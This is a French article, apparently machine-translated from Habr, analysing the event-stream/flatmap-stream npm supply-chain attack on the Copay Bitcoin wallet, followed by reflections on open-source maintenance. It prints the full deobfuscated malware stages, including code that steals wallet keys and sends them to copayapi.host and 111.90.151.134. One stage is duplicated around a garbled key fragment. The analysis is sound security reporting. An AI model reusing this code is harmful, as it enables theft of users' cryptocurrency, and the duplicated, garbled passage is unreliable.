L'histoire de la facilité scandaleuse de pirater l'infrastructure de développement de logiciels modernes

Fin octobre, un message de problème est apparu dans l'outil nodemon Node.js extrêmement populaire. Le fait était que l'avertissement suivant était affiché dans la console: DeprecationWarning: crypto.createDecipher is deprecated . De telles alertes sur des fonctionnalités obsolètes ne sont pas rares. En particulier, ce message semblait assez inoffensif. Il ne faisait même pas référence au projet nodemon lui-même, mais à l'une de ses dépendances. Cette bagatelle pourrait bien rester inaperçue par quiconque, car, dans de nombreux cas, ces problèmes sont résolus par eux-mêmes.

image

Environ deux semaines après la première mention de ce problème, Ayrton Sparling a tout vérifié et a découvert que la raison de l'avertissement était une nouvelle dépendance assez profonde. Le message provenait d'un étrange morceau de code à la fin d'un fichier JavaScript minifié qui n'était pas dans les versions antérieures de la bibliothèque et qui, à partir d'une version ultérieure de celui-ci, a été supprimé. Les recherches d'Ayrton l'ont conduit au populaire package npm de flux d'événements, qui est téléchargé environ deux millions de fois par semaine, et jusqu'à récemment était sous le contrôle d'un développeur open source avec une bonne réputation.

Il y a quelques mois, la gestion des flux d'événements a été transférée à une autre personne, un utilisateur peu connu qui a demandé , par e-mail, de lui accorder les droits de publication du package. Cela a été fait légalement. Cet utilisateur a ensuite mis à jour le package de flux d'événements, y compris la dépendance de programme malveillant de flux plat dans sa version de correctif, puis il a publié une nouvelle version majeure du package sans cette dépendance. Grâce à cela, il a voulu rendre le changement moins visible. Les nouveaux utilisateurs, qui sont probablement plus susceptibles d'être intéressés par les dépendances, installeraient la dernière version du flux d'événements (4.x au moment d'écrire ces lignes). Et les utilisateurs dont les projets dépendaient de la version précédente du package installeraient automatiquement la version du correctif infecté la prochaine fois qu'ils exécuteront la commande npm install (cela prend en compte l'approche courante de configuration des versions de package adaptées aux mises à jour).

Détails de l'incident


Le code de flux plat malveillant a été configuré pour fonctionner avec un fichier de données qui, en plus de certaines lignes très obscurcies, contenait deux fragments chiffrés, qui ne pouvaient être déchiffrés qu'en connaissant le mot de passe.

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

Appelez ce fragment de code Payload A Il recherche le mot de passe dans la variable d'environnement npm_package_description définie par npm. Cette variable d'environnement contient une description du package racine, qui permet au code malveillant d'affecter uniquement un package cible spécifique. Déménagement intelligent! Dans ce cas, ce package était l'application cliente du portefeuille Bitcoin Copay , et le mot de passe pour déchiffrer le code malveillant était la phrase Un portefeuille Bitcoin sécurisé (cela a été découvert par l'utilisateur gathub maths22 ).

Une fois que le code de la Payload A a déchiffré avec succès la première donnée, le code que nous appelons la Payload B exécuté.

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

Ce code a vérifié que le script serait exécuté exclusivement avec un argument de ligne de commande spécifique, avec quelque chose correspondant au modèle build:*-release . Par exemple, cela pourrait ressembler à npm run build:ios-release . Sinon, le script n'a pas été exécuté. Cette exécution de code limitée à seulement trois scripts pour les projets de construction utilisés dans Copay. À savoir, nous parlons de scripts qui sont responsables de la construction de la version de bureau de l'application et de ses versions pour iOS et Android .

Ensuite, le script a cherché une autre dépendance d'application, à savoir qu'il était intéressé par le fichier ReedSolomonDecoder.js du ReedSolomonDecoder.js @ zxing / library . Le code Payload B n'a pas exécuté ce fichier. Il y a simplement injecté du code Payload C , ce qui a conduit au fait que ce code serait exécuté dans l'application elle-même, lors du ReedSolomonDecoder . Voici le code Payload C

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cj / x76To \ n2wIDAQAB \ n ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

Payload A code Payload A et Payload B est conçu pour s'exécuter dans l'environnement Node.js, sur le serveur de génération du projet, mais Payload C conçu pour s'exécuter dans un environnement ressemblant à un navigateur sous le contrôle du framework Cordova (anciennement PhoneGap ). Ce framework vous permet de développer des applications natives pour différentes plates-formes en utilisant les technologies Web - HTML, CSS et JavaScript. Les applications client Copay (ainsi que les fourches de ce projet comme FCash ), conçues pour diverses plates-formes, sont construites à l'aide de Cordova. C'est à ces clients que l'attaque est dirigée. Ces applications natives sont destinées aux utilisateurs finaux de Copay qui gèrent leurs portefeuilles Bitcoin avec eux. Ces portefeuilles intéressaient l'attaquant. Le script a envoyé les données volées à copayapi.host et au 111.90.151.134.

Conclusions décevantes


Développer ce dont nous venons de parler est une tâche ardue. Ce hack a nécessité des recherches sérieuses et des efforts considérables pour mener une attaque. L'attaquant avait probablement également des options de secours qu'il utiliserait s'il ne pouvait pas prendre le contrôle du package de flux d'événements. Compte tenu de la façon dont l'attaque a été organisée, il semble plausible que l'attaquant visait à l'origine spécifiquement Copay et n'ait pas seulement pris le contrôle de la bibliothèque populaire, puis ait déjà pensé à ce qu'il devait en faire. La popularité du flux d'événements suggère que l'attaquant avait un moyen facile d'accéder à des ordinateurs importants dans des centaines d'entreprises à travers le monde. Heureusement, la menace a été rapidement détectée et neutralisée, compte tenu du temps qu'elle aurait pu passer inaperçue, mais réfléchir à ce qui pourrait arriver nous amène à la conclusion évidente: l'open source est gravement malade.

Faisons une liste des raisons qui ont conduit à l'incident ci-dessus:

  1. L'application (Copay) a été construite sur la base de nombreuses dépendances différentes, tandis que son arbre de dépendances n'était pas bloqué.
  2. Même en tenant compte du fait que l'arborescence des dépendances n'était pas bloquée, les dépendances n'étaient pas mises en cache, elles étaient chargées à partir du référentiel à chaque build du projet.
  3. Des milliers d' autres projets dépendent du flux d'événements, ils utilisent la même configuration ou des configurations similaires.
  4. Celui qui a soutenu la bibliothèque, dont dépendent des milliers de projets, a cessé d'y travailler.
  5. Des milliers de projets ont utilisé cette bibliothèque gratuitement. En même temps, il était prévu qu'ils la soutiennent sans aucune compensation matérielle.
  6. Celui qui a soutenu la bibliothèque a transféré le contrôle de celle-ci à l'inconnu uniquement parce qu'il l'a interrogé à ce sujet.
  7. Il n'y a eu aucune notification indiquant que le projet a changé de propriétaire, et tout de même des milliers de projets ont simplement continué à utiliser le package approprié.
  8. En fait, cette liste s'allonge encore et encore ...

Il est même effrayant de penser aux dommages que pourrait causer le cambriolage dont nous discutons. Par exemple, les projets extrêmement sérieux dépendent du flux d'événements. Par exemple, l' interface de ligne de commande Microsoft Azure . Vulnérables étaient les ordinateurs sur lesquels ils développent ce programme et les ordinateurs sur lesquels il est utilisé. Un code malveillant pourrait bien se propager sur ceux-ci et sur d'autres.

Le problème ici est que beaucoup de projets logiciels sont construits sur la base de ce que les personnes censées le faire travailleront gratuitement. Ils créent des programmes utiles, ils y participent depuis un certain temps (ou peut-être les rendent-ils simplement dans le domaine public et c'est tout), et on attend d'eux qu'ils soutiennent leur développement jusqu'à la fin des temps. Si cela ne fonctionne pas pour eux, alors ils ne font rien, ignorent les appels à eux ou signalent des vulnérabilités dans leurs projets ( coupables! ), Ou donnent simplement leurs projets à d'autres personnes, en espérant qu'ils peuvent partir et ne plus s'y impliquer. Parfois ça marche. Parfois non. Mais rien ne peut justifier les vulnérabilités qui, en raison de tels phénomènes, apparaissent dans le logiciel. Soit dit en passant, même la détection d'un problème avec le flux d'événements, son enquête et son élimination, ont été principalement effectuées par des volontaires open source, dont le travail n'est en aucun cas rémunéré.

Tant de personnes et d'organisations différentes sont liées à ce qui s'est passé que la recherche de coupables spécifiques n'a pas beaucoup de sens. L'open source est gravement malade et plus ce phénomène prend de l'ampleur, plus la probabilité de catastrophes augmente. Étant donné le potentiel destructeur de l'incident dont il est question ici, il est heureux que le but de l'attaquant ne soit qu'une application.

Des problèmes similaires ne sont pas limités à Node.js ou npm. Dans les écosystèmes connexes, on observe un niveau de confiance tout aussi inapproprié et élevé envers les étrangers. Cela a à voir avec PyPi dans l'environnement Python, RubyGems et GitHub aussi. Tout le monde peut publier dans les services susmentionnés, sans aucune notification transférant la gestion de leurs projets à quiconque. Et même sans cela, les projets modernes utilisent des volumes de code d'autres personnes tels qu'une analyse approfondie de celui-ci arrêterait le travail de n'importe quelle équipe pendant longtemps. Afin de respecter les délais serrés, les développeurs installent ce dont ils ont besoin et les équipes responsables de la sécurité et des outils de vérification automatisée du code ne suivent tout simplement pas le rythme du développement rapide de programmes en constante évolution.

Chers lecteurs! Que pensez-vous du récent incident de flux d'événements?



Source: https://habr.com/ru/post/fr434116/


All Articles